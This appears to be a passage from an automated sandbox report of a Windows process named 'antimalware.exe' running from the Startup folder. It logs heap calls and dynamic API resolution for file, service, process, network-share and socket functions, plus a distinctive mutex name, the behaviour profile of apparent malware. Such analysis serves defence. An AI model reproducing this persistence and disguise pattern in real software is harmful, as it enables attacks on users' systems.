	[0175.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0175.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0175.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0175.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0175.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0175.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0175.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0175.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0175.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0175.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0176.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0176.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0176.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0176.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0176.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0176.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0176.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0176.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0176.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0176.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b3e08 | out: hHeap=0x4f0000) returned 1
	[0176.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0176.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0176.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0177.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0177.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0177.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0177.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0177.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0177.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0177.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0177.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0177.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0177.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0177.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0177.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0177.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0177.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0177.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0177.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0177.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0177.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 56
	os_tid = 0xe60


Thread:
	id = 58
	os_tid = 0xe68


Thread:
	id = 59
	os_tid = 0xe6c


Thread:
	id = 61
	os_tid = 0xe74


Thread:
	id = 62
	os_tid = 0xe78


Thread:
	id = 63
	os_tid = 0xe7c


Process:
	id = "7"
	image_name = "cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"
	page_root = "0x3e643000"
	os_pid = "0xddc"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 31
	os_tid = 0xde0

	[0129.439] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x763a0000
	[0129.439] GetProcAddress (hModule=0x763a0000, lpProcName="GetProcAddress") returned 0x763b51b0
	[0129.439] GetProcAddress (hModule=0x763a0000, lpProcName="GetModuleHandleW") returned 0x763b50d0
	[0129.439] GetProcAddress (hModule=0x763a0000, lpProcName="FindNextFileW") returned 0x7640ee40
	[0129.439] GetProcAddress (hModule=0x763a0000, lpProcName="FindClose") returned 0x7640ed70
	[0129.439] GetProcAddress (hModule=0x763a0000, lpProcName="MoveFileW") returned 0x763ee500
	[0129.439] GetProcAddress (hModule=0x763a0000, lpProcName="GetFileSizeEx") returned 0x7640ef40
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="GetModuleFileNameW") returned 0x763b5090
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="GetFileAttributesW") returned 0x7640ef10
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="ExitProcess") returned 0x763b3cb0
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="GetCommandLineW") returned 0x763b4cc0
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="GetComputerNameW") returned 0x763e32c0
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="GetComputerNameA") returned 0x763e3780
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="CreateMutexW") returned 0x7640eb70
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="lstrlenW") returned 0x763b6c70
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="lstrlenA") returned 0x763b6c50
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="GetCurrentProcess") returned 0x7640ea10
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="WaitForSingleObject") returned 0x7640eca0
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="GetLogicalDrives") returned 0x763b0d20
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="GetTickCount") returned 0x7640dd50
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="DeleteFileW") returned 0x7640ed40
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="WideCharToMultiByte") returned 0x763b6b10
	[0129.440] GetProcAddress (hModule=0x763a0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7640ebb0
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="Sleep") returned 0x763b6760
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="LeaveCriticalSection") returned 0x7763b250
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="ReadFile") returned 0x7640f090
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="CreateFileW") returned 0x7640ed10
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="OpenMutexW") returned 0x7640ebf0
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="EnterCriticalSection") returned 0x7763b2d0
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="WaitForMultipleObjects") returned 0x7640ec80
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="lstrcmpiW") returned 0x763b6bf0
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="lstrcmpiA") returned 0x763b6bd0
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="DeleteCriticalSection") returned 0x7761fb90
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="ReleaseMutex") returned 0x7640ec20
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="CloseHandle") returned 0x7640eab0
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="GetVersion") returned 0x763b56c0
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="CreateThread") returned 0x763b46b0
	[0129.441] GetProcAddress (hModule=0x763a0000, lpProcName="ExpandEnvironmentStringsW") returned 0x763b4a40
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="QueryPerformanceCounter") returned 0x763b5da0
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="QueryPerformanceFrequency") returned 0x763b5dc0
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="GetCurrentProcessId") returned 0x7640ea20
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="SetFileAttributesW") returned 0x7640f100
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="GetVolumeInformationW") returned 0x7640f020
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="WriteFile") returned 0x7640f180
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="SetFilePointerEx") returned 0x7640f130
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="SetEndOfFile") returned 0x7640f0e0
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="FindFirstFileW") returned 0x7640edf0
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="GetProcessHeap") returned 0x763b51f0
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="HeapReAlloc") returned 0x7762f630
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="HeapAlloc") returned 0x77632dc0
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="HeapFree") returned 0x763b57f0
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="CreatePipe") returned 0x763b4590
	[0129.442] GetProcAddress (hModule=0x763a0000, lpProcName="SetHandleInformation") returned 0x7640eae0
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="CreateProcessW") returned 0x763b4610
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="CompareStringW") returned 0x763b4430
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="CompareStringA") returned 0x763b4410
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="OpenProcess") returned 0x763b5cc0
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="TerminateProcess") returned 0x763b67e0
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="GetSystemTime") returned 0x763b54e0
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="SystemTimeToFileTime") returned 0x763b67a0
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="GetLastError") returned 0x763b5010
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x763eedc0
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="Process32NextW") returned 0x763ef8f0
	[0129.443] GetProcAddress (hModule=0x763a0000, lpProcName="Process32FirstW") returned 0x763ef750
	[0129.443] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x748c0000
	[0130.023] GetProcAddress (hModule=0x748c0000, lpProcName="RegOpenKeyExW") returned 0x748de580
	[0130.023] GetProcAddress (hModule=0x748c0000, lpProcName="RegQueryValueExW") returned 0x748de5a0
	[0130.023] GetProcAddress (hModule=0x748c0000, lpProcName="RegSetValueExW") returned 0x748df530
	[0130.023] GetProcAddress (hModule=0x748c0000, lpProcName="RegCloseKey") returned 0x748ded60
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="OpenProcessToken") returned 0x748defb0
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="GetTokenInformation") returned 0x748dee90
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="OpenSCManagerW") returned 0x748e0540
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="OpenServiceW") returned 0x748dfa20
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="CloseServiceHandle") returned 0x748dfc00
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="ControlService") returned 0x748f26d0
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="QueryServiceStatus") returned 0x748e2380
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="EnumDependentServicesW") returned 0x748f2f70
	[0130.024] GetProcAddress (hModule=0x748c0000, lpProcName="EnumServicesStatusExW") returned 0x748dfc80
	[0130.024] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76260000
	[0130.403] GetProcAddress (hModule=0x76260000, lpProcName="SystemParametersInfoW") returned 0x7628f210
	[0130.403] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74dc0000
	[0131.586] GetProcAddress (hModule=0x74dc0000, lpProcName="ShellExecuteExW") returned 0x74f24730
	[0131.586] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x775f0000
	[0131.587] GetProcAddress (hModule=0x775f0000, lpProcName="NtQuerySystemInformation") returned 0x77662070
	[0131.587] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73ff0000
	[0131.590] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetCloseEnum") returned 0x73ff2640
	[0131.590] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetOpenEnumW") returned 0x73ff2790
	[0131.591] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetEnumResourceW") returned 0x73ff2410
	[0131.591] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74a00000
	[0131.669] GetProcAddress (hModule=0x74a00000, lpProcName="WSAStartup") returned 0x74a05b40
	[0131.669] GetProcAddress (hModule=0x74a00000, lpProcName="socket") returned 0x74a14510
	[0131.670] GetProcAddress (hModule=0x74a00000, lpProcName="send") returned 0x74a05030
	[0131.670] GetProcAddress (hModule=0x74a00000, lpProcName="recv") returned 0x74a10c50
	[0131.670] GetProcAddress (hModule=0x74a00000, lpProcName="connect") returned 0x74a05410
	[0131.670] GetProcAddress (hModule=0x74a00000, lpProcName="closesocket") returned 0x74a10910
	[0131.670] GetProcAddress (hModule=0x74a00000, lpProcName="gethostbyname") returned 0x74a36cb0
	[0131.670] GetProcAddress (hModule=0x74a00000, lpProcName="inet_addr") returned 0x74a19160
	[0131.670] GetProcAddress (hModule=0x74a00000, lpProcName="ntohl") returned 0x74a049d0
	[0131.671] GetProcAddress (hModule=0x74a00000, lpProcName="htonl") returned 0x74a049d0
	[0131.671] GetProcAddress (hModule=0x74a00000, lpProcName="htons") returned 0x74a18ff0
	[0131.671] GetProcessHeap () returned 0x570000
	[0131.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x57b218
	[0131.671] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=5875614736) returned 1
	[0131.671] GetTickCount () returned 0xe55e
	[0131.671] GetCurrentProcessId () returned 0xddc
	[0131.674] GetTickCount () returned 0xe55e
	[0131.674] GetTickCount () returned 0xe55e
	[0131.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x57b0d8
	[0131.674] GetVersion () returned 0x23f00206
	[0131.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7) returned 0x5872e8
	[0131.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5882f0
	[0131.674] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5882f0, Size=0x20) returned 0x57b3d0
	[0131.674] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x57b3d0, Size=0x40) returned 0x587b00
	[0131.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x58d908
	[0131.675] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_LBGLWIA") returned 0x1ec
	[0131.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5872e8 | out: hHeap=0x570000) returned 1
	[0131.675] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0131.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x587b00 | out: hHeap=0x570000) returned 1
	[0131.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7) returned 0x5872e8
	[0131.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x588428
	[0131.675] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x588428, Size=0x20) returned 0x57b3d0
	[0131.675] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x57b3d0, Size=0x40) returned 0x587758
	[0131.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x59d910
